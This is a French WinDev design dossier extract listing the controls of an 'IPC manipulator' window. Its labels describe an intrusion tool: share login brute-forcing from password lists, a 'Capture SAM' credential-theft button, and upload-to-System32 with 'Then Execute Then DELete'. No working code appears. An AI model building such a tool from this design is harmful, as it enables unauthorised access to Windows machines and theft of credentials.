PAUSE 471 256 76 38 0 Actif 1

SélecteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

SELDESTINATION 14 376 419 62 0 Actif 1

TYPETRANSFERT 460 387 102 61 0 Actif 1

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

Page 913: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 919

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

Combo_COMMANDE 14 300 446 28 0 Actif Fichier

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

FICHIERDESTINATION 14 459 480 25 0 Actif

FICHIERSOURCE 14 345 480 25 0 Actif

LOGINS 255 93 480 25 0 Grisé

PASSWORDS 14 124 480 25 0 Actif

SCSystemButtons 674 1 128 18 0 Actif

Superchamp : FICHIERDESTINATIONChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

DESTINATION 14 461 460 22 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 473 463 18 52 0 Actif Normal

Superchamp : FICHIERSOURCEChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SOURCE 14 347 460 22 0 Actif Texte

Page 914: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 920

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 473 349 18 52 0 Actif Normal

Superchamp : LOGINSChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAIS_FIC 255 95 460 22 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 714 97 18 52 0 Actif Normal

Superchamp : PASSWORDSChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAIS_FIC 14 126 460 22 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 473 128 18 52 0 Actif Normal

Page 915: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 921

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 758 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 708 0 26 19 0 Actif Normal

BTN_Syst_Maximize 734 0 25 19 0 Actif Normal

BTN_UMC 674 0 24 19 0 Actif Normal

Fenêtre : IPCmanipulatorImage : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 916: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 922

Bouton : Bouton1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &Brute ForceOrdre navigation 27Curseur survol 0On/Off Non

Altitude 6

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 917: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 923

Bouton : BoutonSurvol1

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 32515On/Off Non

Altitude 11

Bulle d'aide FR: Supprimer la commandeGB:

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\TETMOR2-5.BMPNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 918: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 924

Bouton : CAPTURESAM

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Capture SAMOrdre navigation 40Curseur survol 0On/Off Non

Altitude 20

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 919: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 925

Combo : Combo_COMMANDE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Commande :GB: Command :

Ordre navigation 31Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Oui

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 365Larg. déroulée perso. NonHauteur ligne 15Altitude 10Retrait gauche 2Position X interne 95Largeur interne 365

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: 0Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive Oui

Page 920: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 926

Valeur persistante Non

Liaison Hyper File COMMANDE.COMMANDENb. Enreg. Max 0Fichier parcouru 12Rub. parcourue -IDCOMMANDERub. affichée COMMANDERub. mémorisée IDCOMMANDE1ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : EXECUTER_COMMANDE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: EXECUTERGB: EXECUTE

Ordre navigation 32Curseur survol 0On/Off Non

Altitude 12

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6

Page 921: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 927

Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : FICHIERDESTINATION

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 42

Altitude 22Largeur externe 480Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 922: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 928

Superchamp : FICHIERSOURCE

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 41

Altitude 21Largeur externe 480Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &IP :Ordre navigation 29Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. Gauche

Page 923: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 929

Altitude 8Retrait gauche 2Position X interne 95Largeur interne 154

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 924: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 930

Champ de saisie : LOGIN

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &LOGIN :Ordre navigation 28Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 7Retrait gauche 2Position X interne 95Largeur interne 154

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 925: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 931

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : LOGINS

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 1

Altitude 4Largeur externe 480Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 926: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 932

Interrupteur : OPTIONS_DOWNLOAD

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 39Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 19

Bulle d'aide FR: Excécute le prog après le transfertGB:

Numéro aide 0

Opacité 100

Options FR,GB: Then OpenValeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 927: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 933

Interrupteur : OPTIONS_UPLOAD

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 38Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 18

Bulle d'aide FR: Excécute le prog après le transfertGB:

Numéro aide 0

Opacité 100

Options FR,GB: Then Execute Then DELete

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 928: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 934

Champ de saisie : PASS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &PASS :Ordre navigation 34Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 14Retrait gauche 2Position X interne 95Largeur interne 154

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 929: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 935

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : PASSWORDS

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 26

Altitude 5Largeur externe 480Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 930: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 936

Interrupteur : PAUSE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Mode:Valeur initiale 0Ordre navigation 33Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 13

Numéro aide 0

Opacité 100

Options FR,GB: PAUSEValeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 931: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 937

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: IPC manipulatorCurseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 43

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Page 932: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 938

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Sélecteur : SELDESTINATION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Rep SystemGB: System Dir

Valeur initiale 1Ordre navigation 35Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 15

Numéro aide 0

Opacité 100

Options FR,GB: C:\WINNT\System32\ C:\WINDOWS\System32\

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Radio_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 933: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 939

Champ de saisie : SHARE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: SHAREOrdre navigation 30Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 95Largeur interne 154

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 934: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 940

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : TRANSFERT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: UPLOADOrdre navigation 37Curseur survol 0On/Off Non

Altitude 17

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 935: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 941

Sélecteur : TYPETRANSFERT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Transfert:Valeur initiale 1Ordre navigation 36Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 16

Numéro aide 0

Opacité 100

Options FR,GB: UPLOAD DOWNLOAD

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Radio_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 936: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 942

Superchamp : FICHIERDESTINATIONBouton : FICHIERDESTINATION.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 937: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 943

Champ de saisie : FICHIERDESTINATION.DESTINATION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Destination :Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 95Largeur interne 379

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 938: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 944

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : FICHIERSOURCEBouton : FICHIERSOURCE.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 939: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 945

Champ de saisie : FICHIERSOURCE.SOURCE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Source :Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 95Largeur interne 379

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 940: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 946

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : LOGINSBouton : LOGINS.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 941: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 947

Champ de saisie : LOGINS.SAIS_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: LOGINS :Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 336Largeur interne 379

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 942: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 948

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : PASSWORDSBouton : PASSWORDS.BTN_SEL

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 2

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Parcours.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 943: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 949

